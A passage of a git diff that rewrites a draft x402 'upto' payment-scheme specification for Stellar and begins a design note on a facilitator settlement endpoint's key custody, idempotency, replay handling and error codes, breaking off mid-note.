`/verify` endpoint, which checks the authorization entry's structure, expiration, and that `requirements.amount <= max_amount`, without settling. -6. **Resource Server** executes the request, determines the actual cost, and calls the facilitator's `/settle` endpoint with `requirements.amount` set to the actual amount (phase-dependent `amount`, per the [`upto` core spec][scheme-upto] §5). -7. **Facilitator** re-verifies the client's authorization entry against `max_amount` (the signed ceiling, not the settlement-time amount — see [Settle-Time Verification](#settle-time-verification)), then calls `x402UptoStellar.settle_upto(auth_entry, actual_amount)`. -8. **Contract** checks the nonce has not been used, `now <= expiration_ledger`, `facilitator.require_auth()` matches the signed `facilitator`, and `actual_amount <= max_amount`; it then calls `token.transfer_from(spender: self, from, to, actual_amount)` and marks the nonce consumed. -9. **Facilitator** submits the transaction, sponsoring fees as in `exact`, and returns a `SettlementResponse` to the **Resource Server**, which grants access to the **Client**. - -## `PaymentRequirements` for `upto` - -```json -{ - "scheme": "upto", - "network": "stellar:testnet", - "amount": "10000000", - "asset": "CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA", - "payTo": "GBHEGW3KWOY2OFH767EDALFGCUTBOEVBDQMCKU4APMDLQNBW5QV3W3KO", - "maxTimeoutSeconds": 300, - "extra": { - "areFeesSponsored": true, - "uptoContract": "CA...UPTOSTELLARCONTRACTADDRESS", - "facilitatorAddress": "GBFACILITATOR..." - } -} -``` - -**Field Definitions:** - -- `amount`: Phase-dependent per the [`upto` core spec][scheme-upto] — the authorized maximum at verification time, the actual settlement amount at settlement time. -- `extra.uptoContract`: The deployed `x402UptoStellar` contract address the client must authorize against. -- `extra.facilitatorAddress`: The facilitator the client binds into the signed authorization (mirrors EVM's `witness.facilitator`); prevents settlement by any other party. -- `extra.areFeesSponsored`: As in `exact` — currently always `true`. - -## PaymentPayload `payload` Field - -```json -{ - "authEntry": "AAAAAgAAAABriIN4poutFUmHfB6FbFJu8GgXoPPTGQWREqFpPfvO1AAAAAAAAAAAAAAAAAAAAA...", - "nonce": "3f1a...b2", - "maxAmount": "10000000" -} -``` - -- `authEntry`: Base64-encoded XDR of the signed Soroban authorization entry for `settle_upto`. -- `nonce`: The 32-byte nonce bound into the authorization entry, surfaced separately so the facilitator can perform a fast pre-check without decoding XDR. -- `maxAmount`: The signed ceiling, echoed outside the XDR for the same reason. - -## Facilitator Verification Rules (MUST) - -### 1. Protocol Validation - -Same as `exact` on Stellar: `x402Version` MUST be `2`, `scheme` MUST be `"upto"` on both sides, `network` MUST match. - -### 2. Authorization Entry Structure - -- The authorization entry MUST target the `x402UptoStellar` contract at `extra.uptoContract` and the `settle_upto` function. -- Arguments MUST be exactly `(from, to, asset, max_amount, facilitator, nonce, expiration_ledger)`. -- `to` MUST equal `requirements.payTo` exactly. -- `asset` MUST equal `requirements.asset` exactly. -- `facilitator` MUST equal `extra.facilitatorAddress` exactly. -- Credential type MUST be `sorobanCredentialsAddress`, matching `exact`. - -### 3. Cap and Amount Rules - -- At **verify** time: `requirements.amount` (the authorized maximum) MUST equal the signed `max_amount`. -- At **settle** time: `requirements.amount` (the actual settlement amount) MUST be `<= max_amount` from the signed entry. The facilitator MUST re-verify the authorization entry's signature against `max_amount`, never against the settlement-time amount — see [Settle-Time Verification](#settle-time-verification). -- The settled amount MAY be `0`. - -### 4. Time Bounds and Replay - -- `expiration_ledger` MUST NOT exceed `currentLedger + ceil(maxTimeoutSeconds / estimatedLedgerSeconds)` (fallback `5` seconds/ledger, as in `exact`). -- The facilitator MUST query the contract's nonce state (or simulate `settle_upto`) before submitting, to short-circuit already-consumed nonces. -- The contract itself is the source of truth for replay protection: `settle_upto` MUST fail if `nonce` has already been marked consumed. - -### 5. 🚨🚨🚨 Facilitator Safety - -Same as `exact` §4: the facilitator's own address MUST NOT be `from`, MUST NOT appear as an unexpected signer, and simulation MUST show only the expected balance change (`from` decrease of `actual_amount`, `to` increase of `actual_amount`) plus no other balance changes. - -### 6. Allowance Precondition - -- Before verification can succeed, the facilitator MUST confirm `token.allowance(from, uptoContract) >= max_amount` and unexpired. If insufficient, the facilitator MUST return `412 Precondition Failed` with an error code equivalent to EVM's `PERMIT2_ALLOWANCE_REQUIRED`, signaling the client to submit the one-time `approve` first. - -## Settle-Time Verification - -Identical rationale to [EVM `upto` §Settle-Time Verification][scheme-upto-evm-settle]: because `amount` is phase-dependent, the facilitator MUST: - -1. Verify the authorization entry's signature against the signed `max_amount` (the ceiling), not `requirements.amount` (the actual settlement amount) — the client signed for the ceiling, and comparing against the metered amount would reject every partial settlement. -2. Validate `requirements.amount <= max_amount`. -3. Call `settle_upto` with `actual_amount = requirements.amount`. - -A facilitator that instead enforces `requirements.amount === max_amount` at settle time will reject all partial settlements, breaking the core `upto` value proposition. - -## `x402UptoStellar` Contract - -Reference behavior (Soroban, Rust): - -- `settle_upto(from: Address, to: Address, asset: Address, max_amount: i128, facilitator: Address, nonce: BytesN<32>, expiration_ledger: u32, actual_amount: i128)` - - Requires `from`'s authorization on this invocation with the fixed args `(from, to, asset, max_amount, facilitator, nonce, expiration_ledger)` — `actual_amount` is deliberately **not** part of the signed argument set, since it is only known at settle time; this is the Stellar analogue of Permit2's witness/permitted-amount split. - - Requires `facilitator.require_auth()`, binding settlement to the designated facilitator. - - Fails if `nonce` has already been consumed for `from`. - - Fails if `env.ledger().sequence() > expiration_ledger`. - - Fails if `actual_amount > max_amount` or `actual_amount < 0`. - - On success: calls `token_client.transfer_from(&env.current_contract_address(), &from, &to, &actual_amount)`, marks `nonce` consumed, and emits a `settle` event with `(from, to, asset, actual_amount, nonce)`. -- Zero settlement (`actual_amount == 0`): the facilitator MAY skip calling `settle_upto` entirely and let the authorization entry expire unused, exactly as EVM's zero-settlement case — no on-chain transaction, no gas cost, the nonce is simply never consumed. If the resource server needs an on-chain record of the zero-charge decision, the facilitator MAY still call `settle_upto` with `actual_amount = 0` to consume the nonce and close out the authorization explicitly. - -## Composition with Smart Account Spending Policies - -The `x402UptoStellar` contract enforces guarantees about a *single authorization*: it cannot be settled twice, cannot exceed its signed ceiling, and cannot be redirected to a different recipient. It says nothing about how many such authorizations a given signer is allowed to produce in total — that is a separate concern, and on Stellar it is naturally handled one layer up, at the smart account (C-account) level, rather than inside the x402 contract itself. - -For an agentic payer whose Stellar account is a smart wallet (e.g. a passkey-backed contract account exposing its own `approve(spender, token, amount, expiry)` policy independent of the underlying SEP-41 token allowance), the composition looks like this: - -- The **x402 `upto` authorization** (this spec) bounds a single request: at most `max_amount`, to exactly `payTo`, settleable at most once. -- The **smart account's own spending policy** bounds the agent's signing key across *all* requests: it governs whether the wallet will co-sign an `approve` or `settle_upto` authorization entry for a given `(spender, token)` pair at all, independent of what any individual x402 authorization says. - -These two layers are enforced at different points and do not need to agree on mechanism: the smart account's policy check happens client-side, when the wallet decides whether to produce a signature for the agent's requested authorization entry; the `x402UptoStellar` contract's checks happen on-chain, at settle time, regardless of what kind of account `from` is. An agent authorized up to a per-request cap by `upto`, running against a smart wallet with its own aggregate spending policy, is bounded by both: the smart wallet refuses to keep signing once its own policy limit is reached, even if individual `upto` ceilings would otherwise permit more spend. This is a recommended defense-in-depth pattern for agent use cases, not a protocol requirement — `upto` on Stellar functions identically for a plain G-account payer with no wallet-level policy at all. - -## Out of Scope - -- **`batch-settlement`**: settling more than once against the same authorization (streaming/pay-per-chunk) is explicitly out of scope for `upto`, per the [core spec][scheme-upto]. Nothing in `x402UptoStellar`'s nonce design forecloses a future `batch-settlement` scheme built on the same escrow/voucher primitives used elsewhere in the ecosystem — that would be a distinct scheme with its own spec. -- **`auth-capture`**: deferred; the single-settlement nonce model here does not preclude a future two-phase design. - -## Error Codes - -In addition to the standard x402 error codes: - -- **`invalid_upto_stellar_payload_settlement_exceeds_amount`**: attempted settlement amount exceeds the signed `max_amount`. -- **`invalid_upto_stellar_payload_nonce_consumed`**: the authorization entry's nonce has already been settled. -- **`invalid_upto_stellar_payload_allowance_required`**: the client has not approved `x402UptoStellar` for at least `max_amount` (see [Allowance Precondition](#6-allowance-precondition)). - -## Security Considerations - -1. **Maximum amount authorization**: as in EVM/SVM, clients should sign `max_amount` conservatively; the facilitator can settle for any amount up to it. -2. **Server trust**: `upto` requires trusting the resource server to report actual usage honestly; this is unchanged from the core scheme. -3. **Allowance ceiling vs per-request ceiling**: the SEP-41 `approve` ceiling and the per-request `max_amount` are independent. Implementations SHOULD keep the allowance close to the expected per-request ceiling and re-approve as needed, rather than approving a large standing balance, to limit exposure if a facilitator or the escrow contract is ever compromised. -4. **Nonce exhaustion / griefing**: because settlement is optional (zero-settlement need not touch the chain), a malicious client cannot force facilitator gas spend by signing many unused authorizations; only the facilitator's own `/settle` calls cost gas, and it only calls them for its own resource server's confirmed usage. -5. **Smart account composition**: see [Composition with Smart Account Spending Policies](#composition-with-smart-account-spending-policies) — this is an additive, optional safeguard and its absence does not weaken the guarantees this spec makes about a single authorization. - -[SEP-41]: https://stellar.org/protocol/sep-41 -[scheme-exact-stellar]: https://github.com/x402-foundation/x402/blob/main/specs/schemes/exact/scheme_exact_stellar.md -[scheme-upto]: https://github.com/x402-foundation/x402/blob/main/specs/schemes/upto/scheme_upto.md -[scheme-upto-evm-settle]: https://github.com/x402-foundation/x402/blob/main/specs/schemes/upto/scheme_upto_evm.md#settle-time-verification +# Scheme: `upto` on `Stellar` + +> Draft specification for the x402 `upto` scheme on Stellar. Stellar currently +> has a specified `exact` scheme upstream but no `upto` scheme; this document +> proposes one, matching the format of the existing `exact` Stellar spec and +> the `upto` specs for EVM and SVM in the +> [x402 protocol repository](https://github.com/x402-foundation/x402). + +## Versions supported + +- ❌ `v1` - we don't plan to support v1 for now. +- ✅ `v2` + +## Supported Networks + +This spec uses [CAIP-2](https://namespaces.chainagnostic.org/stellar/caip2) identifiers: +- `stellar:pubnet` — Stellar mainnet +- `stellar:testnet` — Stellar testnet + +## Summary + +The x402 `upto` scheme on Stellar authorizes a transfer of up to a **maximum amount**, with the actual amount settled after resource consumption is known. As with [`exact` on Stellar][scheme-exact-stellar], the client authorizes via a signed Soroban authorization entry rather than a full transaction signature, and the facilitator sponsors transaction fees. + +> [!NOTE] +> **Scope:** This spec covers [SEP-41]-compliant Soroban tokens **only**. Classic Stellar assets are not supported, matching [`exact` on Stellar][scheme-exact-stellar]. + +## Contract-vs-No-Contract Decision + +**This spec ships a Soroban contract: `x402UptoStellar`.** + +A bare [SEP-41] `approve` / `transfer_from` allowance cannot, on its own, provide the three guarantees the [`upto` core spec][scheme-upto] requires of every network implementation: + +- **Recipient binding** — a SEP-41 allowance authorizes a `spender` to move up to `amount`, to *any* address that spender chooses. It does not bind the transfer to a specific `payTo`. +- **Single-use authorization** — a SEP-41 allowance is a standing balance the spender can draw down across many calls; it has no built-in single-settlement or replay-protection semantics. +- **Time-bound authorization with an explicit `validAfter`/deadline pair** — SEP-41's `approve` supports an expiration ledger, but not a `validAfter` start bound, and nothing stops the spender from settling more than once before expiry. + +This mirrors the precedent already set by the two implemented networks: EVM does not rely on a bare ERC-20 `approve` either — it ships the purpose-built `x402UptoPermit2Proxy` contract, which wraps Permit2's witness pattern to add recipient binding, a nonce, and settle-time cap enforcement. SVM ships the `payment-channels` program for the same reason. A Stellar design that stopped at "the client approves the facilitator" would be strictly weaker than both existing implementations, not merely different from them — so this spec does not offer a contract-free path. + +The `x402UptoStellar` contract is intentionally thin: it does not escrow the client's funds up front (unlike SVM's channel model). Instead, it composes with a standard SEP-41 `approve`, and adds the missing recipient binding, nonce, and cap enforcement as a signed-authorization wrapper around `transfer_from`, closer in spirit to the EVM Permit2 witness pattern than to SVM's escrow. This keeps capital efficient (no funds are locked before settlement) and keeps the per-request signing step off-chain and free, consistent with how `exact` on Stellar already uses auth-entry signing instead of on-chain transactions for the client's half of the flow. + +## Summary of the Flow + +1. **Client** performs a one-time (or periodic) [SEP-41] `approve(spender: , amount: , expiration_ledger)` on the token contract. This is an on-chain transaction, analogous to EVM's Phase 1 Permit2 approval — it is not part of the per-request payment flow and is skipped on subsequent requests while the allowance remains sufficient and unexpired. +2. **Resource Server** responds `402 Payment Required` with `PaymentRequirements` for `upto`, including `extra.uptoContract` (the `x402UptoStellar` contract address) and `extra.facilitatorAddress`. +3. **Client** signs a Soroban authorization entry for `x402UptoStellar.settle_upto(from, to, asset, max_amount, facilitator, nonce, expiration_ledger)`, with `max_amount` set to the authorized ceiling for this request (this is the `PaymentRequirements.amount` field at verification time), `to` set to `requirements.payTo`, and `facilitator` set to `extra.facilitatorAddress`. Expiration is derived from `maxTimeoutSeconds` exactly as in `exact` on Stellar. +4. **Client** serializes the signed authorization entry (base64 XDR) and sends it to the resource server as the `PaymentPayload`. +5. **Resource Server** forwards the payload to the **Facilitator**'s `/verify` endpoint, which checks the authorization entry's structure, expiration, and that `requirements.amount <= max_amount`, without settling. +6. **Resource Server** executes the request, determines the actual cost, and calls the facilitator's `/settle` endpoint with `requirements.amount` set to the actual amount (phase-dependent `amount`, per the [`upto` core spec][scheme-upto] §5). +7. **Facilitator** re-verifies the client's authorization entry against `max_amount` (the signed ceiling, not the settlement-time amount — see [Settle-Time Verification](#settle-time-verification)), then calls `x402UptoStellar.settle_upto(auth_entry, actual_amount)`. +8. **Contract** checks the nonce has not been used, `now <= expiration_ledger`, `facilitator.require_auth()` matches the signed `facilitator`, and `actual_amount <= max_amount`; it then calls `token.transfer_from(spender: self, from, to, actual_amount)` and marks the nonce consumed. +9. **Facilitator** submits the transaction, sponsoring fees as in `exact`, and returns a `SettlementResponse` to the **Resource Server**, which grants access to the **Client**. + +## `PaymentRequirements` for `upto` + +```json +{ + "scheme": "upto", + "network": "stellar:testnet", + "amount": "10000000", + "asset": "CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA", + "payTo": "GBHEGW3KWOY2OFH767EDALFGCUTBOEVBDQMCKU4APMDLQNBW5QV3W3KO", + "maxTimeoutSeconds": 300, + "extra": { + "areFeesSponsored": true, + "uptoContract": "CA...UPTOSTELLARCONTRACTADDRESS", + "facilitatorAddress": "GBFACILITATOR..." + } +} +``` + +**Field Definitions:** + +- `amount`: Phase-dependent per the [`upto` core spec][scheme-upto] — the authorized maximum at verification time, the actual settlement amount at settlement time. +- `extra.uptoContract`: The deployed `x402UptoStellar` contract address the client must authorize against. +- `extra.facilitatorAddress`: The facilitator the client binds into the signed authorization (mirrors EVM's `witness.facilitator`); prevents settlement by any other party. +- `extra.areFeesSponsored`: As in `exact` — currently always `true`. + +## PaymentPayload `payload` Field + +```json +{ + "authEntry": "AAAAAgAAAABriIN4poutFUmHfB6FbFJu8GgXoPPTGQWREqFpPfvO1AAAAAAAAAAAAAAAAAAAAA...", + "nonce": "3f1a...b2", + "maxAmount": "10000000" +} +``` + +- `authEntry`: Base64-encoded XDR of the signed Soroban authorization entry for `settle_upto`. +- `nonce`: The 32-byte nonce bound into the authorization entry, surfaced separately so the facilitator can perform a fast pre-check without decoding XDR. +- `maxAmount`: The signed ceiling, echoed outside the XDR for the same reason. + +## Facilitator Verification Rules (MUST) + +### 1. Protocol Validation + +Same as `exact` on Stellar: `x402Version` MUST be `2`, `scheme` MUST be `"upto"` on both sides, `network` MUST match. + +### 2. Authorization Entry Structure + +- The authorization entry MUST target the `x402UptoStellar` contract at `extra.uptoContract` and the `settle_upto` function. +- Arguments MUST be exactly `(from, to, asset, max_amount, facilitator, nonce, expiration_ledger)`. +- `to` MUST equal `requirements.payTo` exactly. +- `asset` MUST equal `requirements.asset` exactly. +- `facilitator` MUST equal `extra.facilitatorAddress` exactly. +- Credential type MUST be `sorobanCredentialsAddress`, matching `exact`. + +### 3. Cap and Amount Rules + +- At **verify** time: `requirements.amount` (the authorized maximum) MUST equal the signed `max_amount`. +- At **settle** time: `requirements.amount` (the actual settlement amount) MUST be `<= max_amount` from the signed entry. The facilitator MUST re-verify the authorization entry's signature against `max_amount`, never against the settlement-time amount — see [Settle-Time Verification](#settle-time-verification). +- The settled amount MAY be `0`. + +### 4. Time Bounds and Replay + +- `expiration_ledger` MUST NOT exceed `currentLedger + ceil(maxTimeoutSeconds / estimatedLedgerSeconds)` (fallback `5` seconds/ledger, as in `exact`). +- The facilitator MUST query the contract's nonce state (or simulate `settle_upto`) before submitting, to short-circuit already-consumed nonces. +- The contract itself is the source of truth for replay protection: `settle_upto` MUST fail if `nonce` has already been marked consumed. + +### 5. 🚨🚨🚨 Facilitator Safety + +Same as `exact` §4: the facilitator's own address MUST NOT be `from`, MUST NOT appear as an unexpected signer, and simulation MUST show only the expected balance change (`from` decrease of `actual_amount`, `to` increase of `actual_amount`) plus no other balance changes. + +### 6. Allowance Precondition + +- Before verification can succeed, the facilitator MUST confirm `token.allowance(from, uptoContract) >= max_amount` and unexpired. If insufficient, the facilitator MUST return `412 Precondition Failed` with an error code equivalent to EVM's `PERMIT2_ALLOWANCE_REQUIRED`, signaling the client to submit the one-time `approve` first. + +## Settle-Time Verification + +Identical rationale to [EVM `upto` §Settle-Time Verification][scheme-upto-evm-settle]: because `amount` is phase-dependent, the facilitator MUST: + +1. Verify the authorization entry's signature against the signed `max_amount` (the ceiling), not `requirements.amount` (the actual settlement amount) — the client signed for the ceiling, and comparing against the metered amount would reject every partial settlement. +2. Validate `requirements.amount <= max_amount`. +3. Call `settle_upto` with `actual_amount = requirements.amount`. + +A facilitator that instead enforces `requirements.amount === max_amount` at settle time will reject all partial settlements, breaking the core `upto` value proposition. + +## `x402UptoStellar` Contract + +Reference behavior (Soroban, Rust): + +- `settle_upto(from: Address, to: Address, asset: Address, max_amount: i128, facilitator: Address, nonce: BytesN<32>, expiration_ledger: u32, actual_amount: i128)` + - Requires `from`'s authorization on this invocation with the fixed args `(from, to, asset, max_amount, facilitator, nonce, expiration_ledger)` — `actual_amount` is deliberately **not** part of the signed argument set, since it is only known at settle time; this is the Stellar analogue of Permit2's witness/permitted-amount split. + - Requires `facilitator.require_auth()`, binding settlement to the designated facilitator. + - Fails if `nonce` has already been consumed for `from`. + - Fails if `env.ledger().sequence() > expiration_ledger`. + - Fails if `actual_amount > max_amount` or `actual_amount < 0`. + - On success: calls `token_client.transfer_from(&env.current_contract_address(), &from, &to, &actual_amount)`, marks `nonce` consumed, and emits a `settle` event with `(from, to, asset, actual_amount, nonce)`. +- Zero settlement (`actual_amount == 0`): the facilitator MAY skip calling `settle_upto` entirely and let the authorization entry expire unused, exactly as EVM's zero-settlement case — no on-chain transaction, no gas cost, the nonce is simply never consumed. If the resource server needs an on-chain record of the zero-charge decision, the facilitator MAY still call `settle_upto` with `actual_amount = 0` to consume the nonce and close out the authorization explicitly. + +## Composition with Smart Account Spending Policies + +The `x402UptoStellar` contract enforces guarantees about a *single authorization*: it cannot be settled twice, cannot exceed its signed ceiling, and cannot be redirected to a different recipient. It says nothing about how many such authorizations a given signer is allowed to produce in total — that is a separate concern, and on Stellar it is naturally handled one layer up, at the smart account (C-account) level, rather than inside the x402 contract itself. + +For an agentic payer whose Stellar account is a smart wallet (e.g. a passkey-backed contract account exposing its own `approve(spender, token, amount, expiry)` policy independent of the underlying SEP-41 token allowance), the composition looks like this: + +- The **x402 `upto` authorization** (this spec) bounds a single request: at most `max_amount`, to exactly `payTo`, settleable at most once. +- The **smart account's own spending policy** bounds the agent's signing key across *all* requests: it governs whether the wallet will co-sign an `approve` or `settle_upto` authorization entry for a given `(spender, token)` pair at all, independent of what any individual x402 authorization says. + +These two layers are enforced at different points and do not need to agree on mechanism: the smart account's policy check happens client-side, when the wallet decides whether to produce a signature for the agent's requested authorization entry; the `x402UptoStellar` contract's checks happen on-chain, at settle time, regardless of what kind of account `from` is. An agent authorized up to a per-request cap by `upto`, running against a smart wallet with its own aggregate spending policy, is bounded by both: the smart wallet refuses to keep signing once its own policy limit is reached, even if individual `upto` ceilings would otherwise permit more spend. This is a recommended defense-in-depth pattern for agent use cases, not a protocol requirement — `upto` on Stellar functions identically for a plain G-account payer with no wallet-level policy at all. + +## Out of Scope + +- **`batch-settlement`**: settling more than once against the same authorization (streaming/pay-per-chunk) is explicitly out of scope for `upto`, per the [core spec][scheme-upto]. Nothing in `x402UptoStellar`'s nonce design forecloses a future `batch-settlement` scheme built on the same escrow/voucher primitives used elsewhere in the ecosystem — that would be a distinct scheme with its own spec. +- **`auth-capture`**: deferred; the single-settlement nonce model here does not preclude a future two-phase design. + +## Error Codes + +In addition to the standard x402 error codes: + +- **`invalid_upto_stellar_payload_settlement_exceeds_amount`**: attempted settlement amount exceeds the signed `max_amount`. +- **`invalid_upto_stellar_payload_nonce_consumed`**: the authorization entry's nonce has already been settled. +- **`invalid_upto_stellar_payload_allowance_required`**: the client has not approved `x402UptoStellar` for at least `max_amount` (see [Allowance Precondition](#6-allowance-precondition)). + +## Security Considerations + +1. **Maximum amount authorization**: as in EVM/SVM, clients should sign `max_amount` conservatively; the facilitator can settle for any amount up to it. +2. **Server trust**: `upto` requires trusting the resource server to report actual usage honestly; this is unchanged from the core scheme. +3. **Allowance ceiling vs per-request ceiling**: the SEP-41 `approve` ceiling and the per-request `max_amount` are independent. Implementations SHOULD keep the allowance close to the expected per-request ceiling and re-approve as needed, rather than approving a large standing balance, to limit exposure if a facilitator or the escrow contract is ever compromised. +4. **Nonce exhaustion / griefing**: because settlement is optional (zero-settlement need not touch the chain), a malicious client cannot force facilitator gas spend by signing many unused authorizations; only the facilitator's own `/settle` calls cost gas, and it only calls them for its own resource server's confirmed usage. +5. **Smart account composition**: see [Composition with Smart Account Spending Policies](#composition-with-smart-account-spending-policies) — this is an additive, optional safeguard and its absence does not weaken the guarantees this spec makes about a single authorization. + +[SEP-41]: https://stellar.org/protocol/sep-41 +[scheme-exact-stellar]: https://github.com/x402-foundation/x402/blob/main/specs/schemes/exact/scheme_exact_stellar.md +[scheme-upto]: https://github.com/x402-foundation/x402/blob/main/specs/schemes/upto/scheme_upto.md +[scheme-upto-evm-settle]: https://github.com/x402-foundation/x402/blob/main/specs/schemes/upto/scheme_upto_evm.md#settle-time-verification diff --git a/docs/x402/settle-design.md b/docs/x402/settle-design.md index b3a29050..921be25c 100644 --- a/docs/x402/settle-design.md +++ b/docs/x402/settle-design.md @@ -1,250 +1,250 @@ -# Design note: `POST /settle` - -> **Status: implemented in the same PR as this note.** #126 asks for the four -> decisions below to be made in the open before settlement code is written, -> because this is the only facilitator route that moves money and a mistake in -> it is not recoverable by redeploying. The note is therefore the first thing -> to read and the thing to argue with: if a decision here is wrong, the code -> that follows it is wrong, and changing it is cheap now and expensive later. - -## Scope - -Per the RFP, settlement is not reimplemented: - -> "Respondents should build on the Apache-2.0 `@x402/stellar` package rather -> than reimplement verify and settle. Settlement on Stellar is largely solved; -> the novel work is discovery, the agent facing interface, the `upto` scheme -> upstream, and conformance that holds as the spec moves." - -So the cryptography, simulation checks, auth-entry validation and submission -all come from `ExactStellarScheme` in `@x402/stellar/exact/facilitator`, -registered on an `x402Facilitator` from `@x402/core/facilitator`. What this -route owns is the surface around that call: the wire contract, key custody, -idempotency, replay, and failure mapping. That is where the four questions -below live. - -The route sits alongside the other facilitator routes -(`src/routes/facilitator.ts`, introduced by #124) and reuses whatever -`x402Facilitator` instance #125 lands for `/verify`, rather than constructing a -second one. - -### Wire contract - -`HTTPFacilitatorClient` in `@x402/core` posts to `{url}/settle` with - -```json -{ "x402Version": 2, "paymentPayload": { … }, "paymentRequirements": { … } } -``` - -and parses the response against `settleResponseSchema`: - -```ts -type SettleResponse = { - success: boolean - errorReason?: string - errorMessage?: string - payer?: string - transaction: string // tx hash - network: Network - amount?: string - extensions?: Record -} -``` - -The client treats a non-2xx response whose body contains `success` as a -`SettleError` and anything else as a transport error. So: **a payment that -fails is a `200` with `success: false` and a non-null `errorReason`**, not a -4xx. 4xx/5xx is reserved for a request we could not parse or a fault that is -ours, and even then the body keeps the `SettleResponse` shape so an unmodified -canonical client can still read it. - -`payload: { transaction }` — the spec's base64 XDR envelope — is accepted -verbatim; the payload is passed to the SDK untouched. - ---- - -## 1. What keys does this hold? - -**Not the payer's.** In `exact` the payer authorises with a signed Soroban auth -entry carried inside `paymentPayload.payload.transaction`. The facilitator -never sees a payer secret and never holds user funds: the token contract moves -value payer → `payTo` directly, and `ExactStellarScheme` refuses a payload -where a facilitator address is a participant in the transfer (its -`validateSimulationEvents` check). Non-custodial is a property of the flow, not -a promise in a README. - -Two keys do exist, and both exist only to pay fees and supply a sequence -number: - -| Key | Role | Can it move user funds? | -|---|---|---| -| Settlement signer(s) — `FacilitatorStellarSigner[]` | Transaction source; signs and submits the envelope carrying the payer's auth entry | No. It authorises nothing in the token contract; the payer's auth entry does. | -| Fee-bump signer — `feeBumpSigner` (optional) | Fee source of a `FeeBumpTransaction` wrapping the inner transaction | No. It pays fees only, and decouples fee payment from sequence-number management. | - -This is the pattern the issue points at: Veil's sponsoring fee-payer, which -pays network fees for accounts whose funds it cannot touch. The accounts hold -XLM for fees and nothing else — no USDC, no user balances — so the blast radius -of a compromised settlement key is "someone burns our fee budget", not -"someone drains a payer". - -**Where the secret lives.** `FACILITATOR_SECRET_KEY_TESTNET` / -`FACILITATOR_SECRET_KEY_MAINNET` (with the unsuffixed `FACILITATOR_SECRET_KEY` -applying to testnet), resolved through `getNetworkConfig(network).facilitator` -— the same place `/supported` and `/verify` read their keys, so there is one -answer to "which account settles on this network". Read once at plugin init like every other secret -in this repo, held in process memory, never written to Postgres, never logged, -and never returned by any route. `/supported` continues to advertise only the -public addresses, which #124 already does via `FACILITATOR_SIGNER_ADDRESSES`. -With no secrets configured the route registers but answers every request with -`success: false` and a reason saying settlement is not configured, so a -misconfigured deploy fails loudly and safely instead of half-working. - -Fee ceiling stays configurable rather than hard-wired, per the RFP: -`maxTransactionFeeStroops` from `FACILITATOR_FEE_STROOPS_` (default -50,000), so a self-hoster can change it. - -## 2. Idempotency - -**The key is derived from the payload, never generated by us:** the hash of the -inner transaction, `new Transaction(payload.transaction, passphrase).hash()`, -hex-encoded, scoped by network. - -Three properties earn it the job. It is deterministic — a retry of the same -payload produces the same key without the caller sending an idempotency header. -It is the identifier the network itself will assign, so the key we store before -submitting is the same string we return in `SettleResponse.transaction` -afterwards. And it is network-scoped by construction, since the passphrase is -mixed into the hash — the same envelope on testnet and pubnet cannot collide. - -A fee bump does not disturb this: the fee-bump envelope hashes differently, but -the *inner* hash is unchanged, and the inner hash is what the ledger records -for the payment. We key on the inner hash and store the outer one for support. - -**The record is written before submission, not after** — the same lesson as -`packages/bills` in the Veil repo, where the reference is minted and stored -before dispatch precisely so a timeout is recoverable: - -```prisma -model SettlementAttempt { - id String @id @default(cuid()) - network String // stellar:pubnet | stellar:testnet - txHash String // inner transaction hash — the idempotency key - state String // submitting | settled | failed - payer String? - asset String? - amount String? - payTo String? - errorReason String? - errorMessage String? - response Json? // the SettleResponse we returned, replayed verbatim - createdAt DateTime @default(now()) - updatedAt DateTime @updatedAt - - @@unique([network, txHash]) -} -``` - -The unique constraint is the lock, not an advisory one held in application -memory: two concurrent settles for the same payload race to `INSERT`, exactly -one wins, and the loser takes the "already seen" path below. That holds across -replicas, which an in-process mutex would not. - -Sequence: insert `submitting` → call `facilitator.settle(...)` → update to -`settled`/`failed` with the response. If the process dies between the insert -and the update, the row is left in `submitting`, which is the honest state: we -do not know whether the network took it. Recovery reads the transaction by hash -from RPC rather than resubmitting. - -## 3. Replay across requests - -`/verify` stays side-effect free by design, so it cannot be what burns a -payload. `/settle` is. - -A payload is consumed the moment its `SettlementAttempt` row exists. On a -second settle for the same key: - -- `settled` → return the stored `SettleResponse` verbatim, `success: true`, same - transaction hash. The retrying resource server gets the answer it lost, and - the payer is charged once. -- `failed` → return the stored failure verbatim, including its `errorReason`. A - failed settle is not retried under the same key; the payer must re-authorise. -- `submitting` → do not resubmit. Look the hash up on-chain, finalise the row - from what the ledger says, and answer from that. If the ledger does not know - it yet, return `success: false` with a reason that says the settlement is - still in flight, which is a true statement rather than a guess. - -The chain would catch a genuine double-spend anyway — the auth entry carries a -nonce and `signatureExpirationLedger`, so a second submission of the same -envelope fails at the network. The database is what makes the *response* -deterministic and cheap instead of leaning on a failed submission to produce -it. Validity stays bounded by `signatureExpirationLedger` (~12 ledgers / 60s -from `maxTimeoutSeconds`), which the SDK enforces during verification. - -## 4. Failure semantics - -The rule is: **match the reference facilitator, do not invent our own vocabulary.** -`ExactStellarScheme` already emits a fixed set of reasons, and we return them -unaltered rather than rewriting them into something friendlier: - -`invalid_exact_stellar_payload_malformed`, -`settle_exact_stellar_signer_selection_failed`, -`settle_exact_stellar_transaction_signing_failed`, -`settle_exact_stellar_fee_bump_signing_failed`, -`settle_exact_stellar_transaction_submission_failed`, -`settle_exact_stellar_transaction_failed`, -`unexpected_settle_error`. - -| Situation | HTTP | `success` | `errorReason` | -|---|---|---|---| -| Settled and final | 200 | `true` | — | -| Rejected on-chain | 200 | `false` | whatever the SDK returned | -| Submitted, not yet final (SDK polling exhausted) | 200 | `false` | the SDK's reason; the row stays `submitting` and a retry answers from the ledger | -| RPC unreachable / our own fault | 200 | `false` | `unexpected_settle_error`, with the detail in `errorMessage` | -| Body not parseable as a settle request | 400 | `false` | `invalid_exact_stellar_payload_malformed` | -| Settlement keys not configured | 200 | `false` | `unexpected_settle_error` | - -**Every rejection carries a non-null `errorReason`** — an RFP hard criterion, -so that an agent can branch on failure instead of parsing prose. That is -asserted directly in the tests rather than left as a claim. - -`errorMessage` may carry detail for a human; it never carries key material, -XDR, or anything about other payers. - -## What the implementation does - -- `POST /settle` in `src/routes/facilitator.ts`, delegating to - `ExactStellarScheme` through `x402Facilitator` — no verification or - settlement logic of our own -- `SettlementAttempt` in `prisma/schema.prisma`, written before submission, - with `@@unique([network, txHash])` as the lock -- `src/x402/facilitator.ts` 